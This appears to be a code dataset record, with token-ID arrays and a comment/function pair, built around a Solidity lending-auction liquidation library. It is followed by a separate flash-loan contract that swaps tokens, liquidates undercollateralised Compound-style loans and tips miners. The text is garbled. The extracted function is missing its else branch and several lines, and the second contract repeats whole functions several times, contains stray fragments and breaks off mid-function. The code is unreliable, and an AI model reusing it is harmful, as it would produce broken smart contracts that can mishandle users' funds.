-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2019 The BitFinance Protocol
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.5.8;
pragma experimental ABIEncoderV2;
import "../lib/Store.sol";
import "../lib/Types.sol";
import "../lib/Events.sol";
import "../lib/Decimal.sol";
import "../lib/SafeMath.sol";
import "../lib/Transfer.sol";
import "./LendingPool.sol";
import "./CollateralAccounts.sol";
/**
* Independently deployment library to liquidate unhealthy collateral accounts and handle auctions.
*/
library Auctions {
using SafeMath for uint256;
using SafeMath for int256;
using Auction for Types.Auction;
/**
* Liquidate a collateral account
*/
function liquidate(
Store.State storage state,
address user,
uint16 marketID
)
external
returns (bool, uint32)
{
// if the account is in liquidate progress, liquidatable will be false
Types.CollateralAccountDetails memory details = CollateralAccounts.getDetails(
state,
user,
marketID
);
require(details.liquidatable, "ACCOUNT_NOT_LIQUIDABLE");
Types.Market storage market = state.markets[marketID];
Types.CollateralAccount storage account = state.accounts[user][marketID];
LendingPool.repay(
state,
user,
marketID,
market.baseAsset,
account.balances[market.baseAsset]
);
LendingPool.repay(
state,
user,
marketID,
market.quoteAsset,
account.balances[market.quoteAsset]
);
address collateralAsset;
address debtAsset;
uint256 leftBaseAssetDebt = LendingPool.getAmountBorrowed(
state,
market.baseAsset,
user,
marketID
);
uint256 leftQuoteAssetDebt = LendingPool.getAmountBorrowed(
state,
market.quoteAsset,
user,
marketID
);
bool hasAution = !(leftBaseAssetDebt == 0 && leftQuoteAssetDebt == 0);
Events.logLiquidate(
user,
marketID,
hasAution
);
if (!hasAution) {
// no auction
return (false, 0);
}
account.status = Types.CollateralAccountStatus.Liquid;
if(account.balances[market.baseAsset] > 0) {
// quote asset is debt, base asset is collateral
collateralAsset = market.baseAsset;
debtAsset = market.quoteAsset;
} else {
// base asset is debt, quote asset is collateral
collateralAsset = market.quoteAsset;
debtAsset = market.baseAsset;
}
uint32 newAuctionID = create(
state,
marketID,
user,
msg.sender,
debtAsset,
collateralAsset
);
return (true, newAuctionID);
}
/**
* The overwhelming of auctions in practice falls into this case.
* Given the constrant that collateral > debt, once the debt is paid of, the remaining collateral is divided
* between the borrower and the initiator.
*/
function fillHealthyAuction(
Store.State storage state,
Types.Auction storage auction,
uint256 ratio,
uint256 repayAmount
)
private
returns (uint256, uint256) // bidderRepay collateral
{
uint256 leftDebtAmount = LendingPool.getAmountBorrowed(
state,
auction.debtAsset,
auction.borrower,
auction.marketID
);
// get remaining collateral
uint256 leftCollateralAmount = state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset];
state.accounts[auction.borrower][auction.marketID].balances[auction.debtAsset] = repayAmount;
// borrower pays back to the lending pool
uint256 actualRepayAmount = LendingPool.repay(
state,
auction.borrower,
auction.marketID,
auction.debtAsset,
repayAmount
);
state.accounts[auction.borrower][auction.marketID].balances[auction.debtAsset] = 0;
// compute how much collateral is divided up amongst the bidder, auction initiator, and borrower
state.balances[msg.sender][auction.debtAsset] = SafeMath.sub(
state.balances[msg.sender][auction.debtAsset],
actualRepayAmount
);
uint256 collateralToProcess = leftCollateralAmount.mul(actualRepayAmount).div(leftDebtAmount);
uint256 collateralForBidder = Decimal.mulFloor(collateralToProcess, ratio);
uint256 collateralForInitiator = Decimal.mulFloor(collateralToProcess.sub(collateralForBidder), state.auction.initiatorRewardRatio);
uint256 collateralForBorrower = collateralToProcess.sub(collateralForBidder).sub(collateralForInitiator);
// update remaining collateral ammount
state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset] = SafeMath.sub(
state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset],
collateralToProcess
);
// send a portion of collateral to the bidder
state.balances[msg.sender][auction.collateralAsset] = SafeMath.add(
state.balances[msg.sender][auction.collateralAsset],
collateralForBidder
);
// send a portion of collateral to the initiator
state.balances[auction.initiator][auction.collateralAsset] = SafeMath.add(
state.balances[auction.initiator][auction.collateralAsset],
collateralForInitiator
);
// send a portion of collateral to the borrower
state.balances[auction.borrower][auction.collateralAsset] = SafeMath.add(
state.balances[auction.borrower][auction.collateralAsset],
collateralForBorrower
);
// withdraw collateralForBorrower to borrower's wallet account
Transfer.withdraw(
state,
auction.borrower,
auction.collateralAsset,
collateralForBorrower
);
return (actualRepayAmount, collateralForBidder);
}
/**
* In the case where the collateral is no longer valuable enough to cover the debt,
* subsidies kicks in. Participant can bid for the entire collateral
* for only paying part of the debt. The remaining debt is subsidized by the insurance pool
*/
function fillBadAuction(
Store.State storage state,
Types.Auction storage auction,
uint256 ratio,
uint256 bidderRepayAmount
)
private
returns (uint256, uint256, uint256) // totalRepay bidderRepay collateral
{
uint256 leftDebtAmount = LendingPool.getAmountBorrowed(
state,
auction.debtAsset,
auction.borrower,
auction.marketID
);
uint256 leftCollateralAmount = state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset];
uint256 repayAmount = Decimal.mulFloor(bidderRepayAmount, ratio);
state.accounts[auction.borrower][auction.marketID].balances[auction.debtAsset] = repayAmount;
uint256 actualRepayAmount = LendingPool.repay(
state,
auction.borrower,
auction.marketID,
auction.debtAsset,
repayAmount
);
state.accounts[auction.borrower][auction.marketID].balances[auction.debtAsset] = 0; // recover unused principal
uint256 actualBidderRepay = bidderRepayAmount;
if (actualRepayAmount < repayAmount) {
actualBidderRepay = Decimal.divCeil(actualRepayAmount, ratio);
}
// gather repay capital
LendingPool.claimInsurance(state, auction.debtAsset, actualRepayAmount.sub(actualBidderRepay));
state.balances[msg.sender][auction.debtAsset] = SafeMath.sub(
state.balances[msg.sender][auction.debtAsset],
actualBidderRepay
);
// update collateralAmount
uint256 collateralForBidder = leftCollateralAmount.mul(actualRepayAmount).div(leftDebtAmount);
state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset] = SafeMath.sub(
state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset],
collateralForBidder
);
// bidder receive collateral
state.balances[msg.sender][auction.collateralAsset] = SafeMath.add(
state.balances[msg.sender][auction.collateralAsset],
collateralForBidder
);
return (actualRepayAmount, actualBidderRepay, collateralForBidder);
}
// ensure repay no more than repayAmount
function fillAuctionWithAmount(
Store.State storage state,
uint32 auctionID,
uint256 repayAmount
)
external
{
Types.Auction storage auction = state.auction.auctions[auctionID];
uint256 ratio = auction.ratio(state);
uint256 actualRepayAmount;
uint256 actualBidderRepayAmount;
uint256 collateralForBidder;
if (ratio <= Decimal.one()) {
(actualRepayAmount, collateralForBidder) = fillHealthyAuction(state, auction, ratio, repayAmount);
actualBidderRepayAmount = actualRepayAmount;
} else {
(actualRepayAmount, actualBidderRepayAmount, collateralForBidder) = fillBadAuction(state, auction, ratio, repayAmount);
}
// reset account state if all debts are paid
uint256 leftDebtAmount = LendingPool.getAmountBorrowed(
state,
auction.debtAsset,
auction.borrower,
auction.marketID
);
Events.logFillAuction(auction.id, msg.sender, actualRepayAmount, actualBidderRepayAmount, collateralForBidder, leftDebtAmount);
if (leftDebtAmount == 0) {
endAuction(state, auction);
}
}
/**
* Mark an auction as finished.
* An auction typically ends either when it becomes fully filled, or when it expires and is closed
*/
function endAuction(
Store.State storage state,
Types.Auction storage auction
)
private
{
auction.status = Types.AuctionStatus.Finished;
state.accounts[auction.borrower][auction.marketID].status = Types.CollateralAccountStatus.Normal;
for (uint i = 0; i < state.auction.currentAuctions.length; i++) {
if (state.auction.currentAuctions[i] == auction.id) {
state.auction.currentAuctions[i] = state.auction.currentAuctions[state.auction.currentAuctions.length-1];
state.auction.currentAuctions.length--;
return;
}
}
}
/**
* Create a new auction and save it in global state
*/
function create(
Store.State storage state,
uint16 marketID,
address borrower,
address initiator,
address debtAsset,
address collateralAsset
)
private
returns (uint32)
{
uint32 id = state.auction.auctionsCount++;
Types.Auction memory auction = Types.Auction({
id: id,
status: Types.AuctionStatus.InProgress,
startBlockNumber: uint32(block.number),
marketID: marketID,
borrower: borrower,
initiator: initiator,
debtAsset: debtAsset,
collateralAsset: collateralAsset
});
state.auction.auctions[id] = auction;
state.auction.currentAuctions.push(id);
Events.logAuctionCreate(id);
return id;
}
// price = debt / collateral / ratio
function getAuctionDetails(
Store.State storage state,
uint32 auctionID
)
external
view
returns (Types.AuctionDetails memory details)
{
Types.Auction memory auction = state.auction.auctions[auctionID];
details.borrower = auction.borrower;
details.marketID = auction.marketID;
details.debtAsset = auction.debtAsset;
details.collateralAsset = auction.collateralAsset;
if (state.auction.auctions[auctionID].status == Types.AuctionStatus.Finished){
details.finished = true;
} else {
details.finished = false;
details.leftDebtAmount = LendingPool.getAmountBorrowed(
state,
auction.debtAsset,
auction.borrower,
auction.marketID
);
details.leftCollateralAmount = state.accounts[auction.borrower][auction.marketID].balances[auction.collateralAsset];
details.ratio = auction.ratio(state);
if (details.leftCollateralAmount != 0 && details.ratio != 0) {
// price = debt/collateral/ratio
details.price = Decimal.divFloor(Decimal.divFloor(details.leftDebtAmount, details.leftCollateralAmount), details.ratio);
}
}
}
} | ensure repay no more than repayAmount | function fillAuctionWithAmount(
Store.State storage state,
uint32 auctionID,
uint256 repayAmount
)
external
{
Types.Auction storage auction = state.auction.auctions[auctionID];
uint256 ratio = auction.ratio(state);
uint256 actualRepayAmount;
uint256 actualBidderRepayAmount;
uint256 collateralForBidder;
if (ratio <= Decimal.one()) {
(actualRepayAmount, collateralForBidder) = fillHealthyAuction(state, auction, ratio, repayAmount);
actualBidderRepayAmount = actualRepayAmount;
(actualRepayAmount, actualBidderRepayAmount, collateralForBidder) = fillBadAuction(state, auction, ratio, repayAmount);
}
state,
auction.debtAsset,
auction.borrower,
auction.marketID
);
Events.logFillAuction(auction.id, msg.sender, actualRepayAmount, actualBidderRepayAmount, collateralForBidder, leftDebtAmount);
if (leftDebtAmount == 0) {
endAuction(state, auction);
}
}
| 12,894,499 | [
1,
15735,
2071,
528,
1158,
1898,
2353,
2071,
528,
6275,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
3636,
37,
4062,
1190,
6275,
12,
203,
3639,
4994,
18,
1119,
2502,
919,
16,
203,
3639,
2254,
1578,
279,
4062,
734,
16,
203,
3639,
2254,
5034,
2071,
528,
6275,
203,
565,
262,
203,
3639,
3903,
203,
565,
288,
203,
3639,
7658,
18,
37,
4062,
2502,
279,
4062,
273,
919,
18,
69,
4062,
18,
69,
4062,
87,
63,
69,
4062,
734,
15533,
203,
3639,
2254,
5034,
7169,
273,
279,
4062,
18,
9847,
12,
2019,
1769,
203,
203,
3639,
2254,
5034,
3214,
426,
10239,
6275,
31,
203,
3639,
2254,
5034,
3214,
17763,
765,
426,
10239,
6275,
31,
203,
3639,
2254,
5034,
4508,
2045,
287,
1290,
17763,
765,
31,
203,
203,
3639,
309,
261,
9847,
1648,
11322,
18,
476,
10756,
288,
203,
5411,
261,
18672,
426,
10239,
6275,
16,
4508,
2045,
287,
1290,
17763,
765,
13,
273,
3636,
7802,
93,
37,
4062,
12,
2019,
16,
279,
4062,
16,
7169,
16,
2071,
528,
6275,
1769,
203,
5411,
3214,
17763,
765,
426,
10239,
6275,
273,
3214,
426,
10239,
6275,
31,
203,
5411,
261,
18672,
426,
10239,
6275,
16,
3214,
17763,
765,
426,
10239,
6275,
16,
4508,
2045,
287,
1290,
17763,
765,
13,
273,
3636,
6434,
37,
4062,
12,
2019,
16,
279,
4062,
16,
7169,
16,
2071,
528,
6275,
1769,
203,
3639,
289,
203,
203,
5411,
919,
16,
203,
5411,
279,
4062,
18,
323,
23602,
6672,
16,
203,
5411,
279,
4062,
18,
70,
15318,
264,
16,
203,
5411,
279,
4062,
18,
27151,
734,
203,
3639,
11272,
203,
203,
3639,
9043,
18,
1330,
8026,
37,
4062,
12,
69,
4062,
2
] |
./full_match/1/0x30DB6cC1bcD80Ba325b7a4427F3c49718E3f61eE/sources/Exec.sol | start - command invoking flash loan, body - business logic flash loan command - > for operate end - final flash loan command -> to know when to end with business logic and call flashloan | contract Exec {
address constant ETH = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address payable internal WETH_ADDR;
ILendingPoolAddressesProvider aave_lpa_provider;
import { Utils } from "./Utils.sol";
enum Cmd { floan, swap, liquidate, transfer, weth2eth, eth2weth, paytip}
enum Dex { uniswap,sushi, aave, dydx, compound, creame, uniswap_v3 }
struct Command {
Flash fls;
Cmd cmd;
Dex dex;
address token1;
uint256 amount1;
address token2;
uint256 amount2;
uint24 num;
address addr;
}
struct Dex_Addresses {
address cethAddress;
IComptroller comptroller;
}
mapping(uint8 => Dex_Addresses) dex;
address payable public owner;
event MyLogS(string str);
modifier onlyOwner() {
require(msg.sender == owner,"Only Owner !");
_;
}
constructor() payable public {
owner = msg.sender;
}
fallback() external { }
receive() external payable { }
function addDex(uint8 id, address _cethAddr,address _comptrollerAddr) public onlyOwner {
dex[id] = Dex_Addresses(_cethAddr,IComptroller(_comptrollerAddr));
}
function getDex(uint8 id) public view returns(Dex_Addresses memory){
return dex[id];
}
function getBallance() view public returns(uint) {
return(address(this).balance);
}
function getBallanceOf(address _assetAddress) view public returns(uint) {
return(IERC20(_assetAddress).balanceOf(address(this)));
}
function withdraw(address _assetAddress, address payable _recipient) public onlyOwner {
uint assetBalance;
if (_assetAddress == ETH) {
assetBalance = address(this).balance;
_recipient.transfer(assetBalance);
assetBalance = IERC20(_assetAddress).balanceOf(address(this));
IERC20(_assetAddress).transfer(_recipient, assetBalance);
}
}
function withdraw(address _assetAddress, address payable _recipient) public onlyOwner {
uint assetBalance;
if (_assetAddress == ETH) {
assetBalance = address(this).balance;
_recipient.transfer(assetBalance);
assetBalance = IERC20(_assetAddress).balanceOf(address(this));
IERC20(_assetAddress).transfer(_recipient, assetBalance);
}
}
} else {
function Eth2Weth(uint _amount) public {
require(address(this).balance >= _amount,'INSUFFICIENT_BALANCE_4');
}
WETH9(WETH_ADDR).deposit{value : _amount}();
function Weth2Eth(uint _amount) public {
require(WETH9(WETH_ADDR).balanceOf(address(this)) >= _amount,'INSUFFICIENT_BALANCE_5');
(WETH9(WETH_ADDR)).withdraw(_amount);
}
function getLendingPool() internal view returns (ILendingPool) {
return ILendingPool(aave_lpa_provider.getLendingPool());
}
function invokeAave(address _token, uint _amount, bytes memory _params) internal {
ILendingPool lendingPool = getLendingPool();
address[] memory assets = new address[](1);
uint256[] memory amounts = new uint256[](1);
uint256[] memory modes = new uint256[](1);
assets[0] = _token;
amounts[0] = _amount;
modes[0] = 0;
lendingPool.flashLoan(
assets,
amounts,
modes,
_params,
);
}
function executeOperation(
address[] calldata _assets,
uint256[] calldata _amounts,
uint256[] calldata _premiums,
address _initiator,
bytes calldata _params
)
external
returns (bool)
{
ILendingPool lendingPool = getLendingPool();
uint amount=_amounts[0];
uint len = bytes(_params).length/320;
for (uint i = 0; i < len; i++) {
amount = execute(amount,abi.decode(Utils.slice(_params,i*320,320),(Command)));
}
require(IERC20(_assets[0]).balanceOf(address(this))>=amountOwing,'INSUFFICIENT_BALANCE_0');
require(IERC20(_assets[0]).approve(address(lendingPool), amountOwing),'APPROVE_ERR');
return true;
}
function executeOperation(
address[] calldata _assets,
uint256[] calldata _amounts,
uint256[] calldata _premiums,
address _initiator,
bytes calldata _params
)
external
returns (bool)
{
ILendingPool lendingPool = getLendingPool();
uint amount=_amounts[0];
uint len = bytes(_params).length/320;
for (uint i = 0; i < len; i++) {
amount = execute(amount,abi.decode(Utils.slice(_params,i*320,320),(Command)));
}
require(IERC20(_assets[0]).balanceOf(address(this))>=amountOwing,'INSUFFICIENT_BALANCE_0');
require(IERC20(_assets[0]).approve(address(lendingPool), amountOwing),'APPROVE_ERR');
return true;
}
function doFlashloan(address _cToken, uint256 _amount, bytes memory _params) internal {
ICTokenFlashloan(_cToken).flashLoan(address(this), _amount, _params);
}
function executeOperation(address _sender, address _underlying, uint _amount, uint _fee, bytes calldata _params) external {
address cToken = msg.sender;
uint currentBalance = IERC20(_underlying).balanceOf(address(this));
require(currentBalance >= _amount, "INSUFFICIENT_BALANCE_6");
uint amount = _amount;
uint len = bytes(_params).length/320;
for (uint i = 0; i < len; i++) {
amount = execute(amount,abi.decode(Utils.slice(_params,i*320,320),(Command)));
}
require(IERC20(_underlying).transfer(cToken, _amount + _fee), "TRANSFER_FAILED_1");
}
function executeOperation(address _sender, address _underlying, uint _amount, uint _fee, bytes calldata _params) external {
address cToken = msg.sender;
uint currentBalance = IERC20(_underlying).balanceOf(address(this));
require(currentBalance >= _amount, "INSUFFICIENT_BALANCE_6");
uint amount = _amount;
uint len = bytes(_params).length/320;
for (uint i = 0; i < len; i++) {
amount = execute(amount,abi.decode(Utils.slice(_params,i*320,320),(Command)));
}
require(IERC20(_underlying).transfer(cToken, _amount + _fee), "TRANSFER_FAILED_1");
}
function swapTokens(address _router, address _token1, address _token2, uint _amount, uint _amountOutMin ,uint _deadline)
internal returns(uint[] memory amounts) {
IUniswap router = IUniswap(_router);
address[] memory path = new address[](2);
path[0] = _token1;
path[1] = _token2;
if (_token1 == ETH) {
path[0] = WETH_ADDR;
require(address(this).balance >= _amount,'INSUFFICIENT_ETH_BALANCE');
}
IERC20 token = IERC20(_token1);
require(token.balanceOf(address(this)) >= _amount,'INSUFFICIENT_BALANCE_1');
require(token.approve(address(router),_amount),'APPROVE_ERR');
if (_token2 == ETH) {
path[1] = WETH_ADDR;
return router.swapExactTokensForETH(_amount,_amountOutMin,path,address(this),_deadline);
}
return router.swapExactTokensForTokens(_amount,_amountOutMin,path,address(this),_deadline);
}
function swapTokens(address _router, address _token1, address _token2, uint _amount, uint _amountOutMin ,uint _deadline)
internal returns(uint[] memory amounts) {
IUniswap router = IUniswap(_router);
address[] memory path = new address[](2);
path[0] = _token1;
path[1] = _token2;
if (_token1 == ETH) {
path[0] = WETH_ADDR;
require(address(this).balance >= _amount,'INSUFFICIENT_ETH_BALANCE');
}
IERC20 token = IERC20(_token1);
require(token.balanceOf(address(this)) >= _amount,'INSUFFICIENT_BALANCE_1');
require(token.approve(address(router),_amount),'APPROVE_ERR');
if (_token2 == ETH) {
path[1] = WETH_ADDR;
return router.swapExactTokensForETH(_amount,_amountOutMin,path,address(this),_deadline);
}
return router.swapExactTokensForTokens(_amount,_amountOutMin,path,address(this),_deadline);
}
return router.swapExactETHForTokens{value:_amount}(_amountOutMin,path,address(this),_deadline);
function swapTokens(address _router, address _token1, address _token2, uint _amount, uint _amountOutMin ,uint _deadline)
internal returns(uint[] memory amounts) {
IUniswap router = IUniswap(_router);
address[] memory path = new address[](2);
path[0] = _token1;
path[1] = _token2;
if (_token1 == ETH) {
path[0] = WETH_ADDR;
require(address(this).balance >= _amount,'INSUFFICIENT_ETH_BALANCE');
}
IERC20 token = IERC20(_token1);
require(token.balanceOf(address(this)) >= _amount,'INSUFFICIENT_BALANCE_1');
require(token.approve(address(router),_amount),'APPROVE_ERR');
if (_token2 == ETH) {
path[1] = WETH_ADDR;
return router.swapExactTokensForETH(_amount,_amountOutMin,path,address(this),_deadline);
}
return router.swapExactTokensForTokens(_amount,_amountOutMin,path,address(this),_deadline);
}
function swapTokens_v3(address _router, address _token1, address _token2, uint24 _fee, uint _amount, uint _amountOutMin ,uint _deadline)
internal returns(uint amountOut) {
ExactInputSingleParams memory params;
IUniswapV3 router = IUniswapV3(_router);
params.tokenIn = _token1;
params.tokenOut = _token2;
params.fee = _fee;
params.recipient = address(this);
params.amountIn = _amount;
params.amountOutMinimum = _amountOutMin;
params.deadline = _deadline;
params.sqrtPriceLimitX96 = 0;
IERC20 token = IERC20(_token1);
require(token.balanceOf(address(this)) >= _amount,'INSUFFICIENT_BALANCE_1');
require(token.approve(address(router),_amount),'APPROVE_ERR');
return router.exactInputSingle(params);
}
function liquidate(address _borrower, address _cTokenAddress, address _collateralTokenAddress , uint _amount, Dex_Addresses memory _dex)
internal returns(uint) {
uint amount;
IERC20 underlying;
CTokenInterface collateralToken;
(uint error, uint liquidity, uint shortfall) = _dex.comptroller.getAccountLiquidity(_borrower);
require(error == 0, "COMPTROLLER_ERR");
require(shortfall > 0 && liquidity == 0, "NO_SHORTFALL");
if (_cTokenAddress == _dex.cethAddress) {
require(address(this).balance >= _amount,"INSUFFICIENT_BALANCE_2");
collateralToken = CTokenInterface(_collateralTokenAddress);
CErc20 cToken = CErc20(_cTokenAddress);
underlying = IERC20(cToken.underlying());
collateralToken = CTokenInterface(_collateralTokenAddress);
require(underlying.balanceOf(address(this)) >= _amount,"INSUFFICIENT_BALANCE_3");
require(underlying.approve(_cTokenAddress,_amount),"APPROVE_ERR");
require(cToken.liquidateBorrow(_borrower,_amount,collateralToken)==0,"LIQUIDATION_ERR");
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance;
CEther(payable(_dex.cethAddress)).redeem(collateralToken.balanceOf(address(this)));
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this));
(CErc20(_collateralTokenAddress)).redeem(collateralToken.balanceOf(address(this)));
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance-amount;
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this))-amount;
}
return amount;
}
function liquidate(address _borrower, address _cTokenAddress, address _collateralTokenAddress , uint _amount, Dex_Addresses memory _dex)
internal returns(uint) {
uint amount;
IERC20 underlying;
CTokenInterface collateralToken;
(uint error, uint liquidity, uint shortfall) = _dex.comptroller.getAccountLiquidity(_borrower);
require(error == 0, "COMPTROLLER_ERR");
require(shortfall > 0 && liquidity == 0, "NO_SHORTFALL");
if (_cTokenAddress == _dex.cethAddress) {
require(address(this).balance >= _amount,"INSUFFICIENT_BALANCE_2");
collateralToken = CTokenInterface(_collateralTokenAddress);
CErc20 cToken = CErc20(_cTokenAddress);
underlying = IERC20(cToken.underlying());
collateralToken = CTokenInterface(_collateralTokenAddress);
require(underlying.balanceOf(address(this)) >= _amount,"INSUFFICIENT_BALANCE_3");
require(underlying.approve(_cTokenAddress,_amount),"APPROVE_ERR");
require(cToken.liquidateBorrow(_borrower,_amount,collateralToken)==0,"LIQUIDATION_ERR");
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance;
CEther(payable(_dex.cethAddress)).redeem(collateralToken.balanceOf(address(this)));
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this));
(CErc20(_collateralTokenAddress)).redeem(collateralToken.balanceOf(address(this)));
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance-amount;
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this))-amount;
}
return amount;
}
CEther(payable(_dex.cethAddress)).liquidateBorrow{value:_amount}(_borrower,collateralToken);
} else {
function liquidate(address _borrower, address _cTokenAddress, address _collateralTokenAddress , uint _amount, Dex_Addresses memory _dex)
internal returns(uint) {
uint amount;
IERC20 underlying;
CTokenInterface collateralToken;
(uint error, uint liquidity, uint shortfall) = _dex.comptroller.getAccountLiquidity(_borrower);
require(error == 0, "COMPTROLLER_ERR");
require(shortfall > 0 && liquidity == 0, "NO_SHORTFALL");
if (_cTokenAddress == _dex.cethAddress) {
require(address(this).balance >= _amount,"INSUFFICIENT_BALANCE_2");
collateralToken = CTokenInterface(_collateralTokenAddress);
CErc20 cToken = CErc20(_cTokenAddress);
underlying = IERC20(cToken.underlying());
collateralToken = CTokenInterface(_collateralTokenAddress);
require(underlying.balanceOf(address(this)) >= _amount,"INSUFFICIENT_BALANCE_3");
require(underlying.approve(_cTokenAddress,_amount),"APPROVE_ERR");
require(cToken.liquidateBorrow(_borrower,_amount,collateralToken)==0,"LIQUIDATION_ERR");
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance;
CEther(payable(_dex.cethAddress)).redeem(collateralToken.balanceOf(address(this)));
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this));
(CErc20(_collateralTokenAddress)).redeem(collateralToken.balanceOf(address(this)));
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance-amount;
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this))-amount;
}
return amount;
}
} else {
function liquidate(address _borrower, address _cTokenAddress, address _collateralTokenAddress , uint _amount, Dex_Addresses memory _dex)
internal returns(uint) {
uint amount;
IERC20 underlying;
CTokenInterface collateralToken;
(uint error, uint liquidity, uint shortfall) = _dex.comptroller.getAccountLiquidity(_borrower);
require(error == 0, "COMPTROLLER_ERR");
require(shortfall > 0 && liquidity == 0, "NO_SHORTFALL");
if (_cTokenAddress == _dex.cethAddress) {
require(address(this).balance >= _amount,"INSUFFICIENT_BALANCE_2");
collateralToken = CTokenInterface(_collateralTokenAddress);
CErc20 cToken = CErc20(_cTokenAddress);
underlying = IERC20(cToken.underlying());
collateralToken = CTokenInterface(_collateralTokenAddress);
require(underlying.balanceOf(address(this)) >= _amount,"INSUFFICIENT_BALANCE_3");
require(underlying.approve(_cTokenAddress,_amount),"APPROVE_ERR");
require(cToken.liquidateBorrow(_borrower,_amount,collateralToken)==0,"LIQUIDATION_ERR");
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance;
CEther(payable(_dex.cethAddress)).redeem(collateralToken.balanceOf(address(this)));
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this));
(CErc20(_collateralTokenAddress)).redeem(collateralToken.balanceOf(address(this)));
}
if (address(_collateralTokenAddress) == _dex.cethAddress) {
amount = address(this).balance-amount;
underlying = IERC20(CErc20(_collateralTokenAddress).underlying());
amount = underlying.balanceOf(address(this))-amount;
}
return amount;
}
} else {
function getUnderlying(address _cTokenAddress) internal view returns(address) {
CErc20 cToken = CErc20(_cTokenAddress);
return cToken.underlying();
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
if (_command.cmd == Cmd.swap) {
if (_command.dex == Dex.uniswap) {
amount = swapTokens(UNISWAP_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN UNISWAP");
return amount[1];
}
if (_command.dex == Dex.uniswap_v3) {
amt = swapTokens_v3(UNISWAP_V3_ROUTER,
_command.token1,
_command.token2,
_command.num,
amt,
_command.amount2,
block.timestamp + 15);
require(amt > 0,"ERROR IN UNISWAP");
return amt;
}
if (_command.dex == Dex.sushi) {
amount = swapTokens(SUSHI_ROUTER,
_command.token1,
_command.token2,
amt,
_command.amount2,
block.timestamp + 15);
require(amount[1] > 0,"ERROR IN SUSHI");
return amount[1];
}
revert("SWAP_NOT_IMPLEMENTED");
}
if (_command.cmd == Cmd.liquidate) {
Dex_Addresses memory _dex = getDex(uint8(_command.num));
return liquidate(_command.addr,
_command.token1,
_command.token2,
_command.amount1,
_dex
);
}
if (_command.cmd == Cmd.transfer) {
IERC20 token = IERC20(_command.token1);
require(token.balanceOf(address(this))>_command.amount1,"INSUFFICIENT_BALANCE");
require(token.transfer(_command.addr,_command.amount1),"TRANSFER FAILED");
}
if (_command.cmd == Cmd.paytip) {
uint256 _ethBalance = address(this).balance;
require(_ethBalance >= _command.amount1,"INSUFFICIENT_BALANCE");
block.coinbase.transfer(_command.amount1);
}
if (_command.cmd == Cmd.weth2eth) {
Weth2Eth(amt);
return amt;
}
if (_command.cmd == Cmd.eth2weth) {
Eth2Weth(amt);
return amt;
}
}
function execute(uint _amount, Command memory _command ) internal returns(uint) {
uint[] memory amount;
uint amt = _amount;
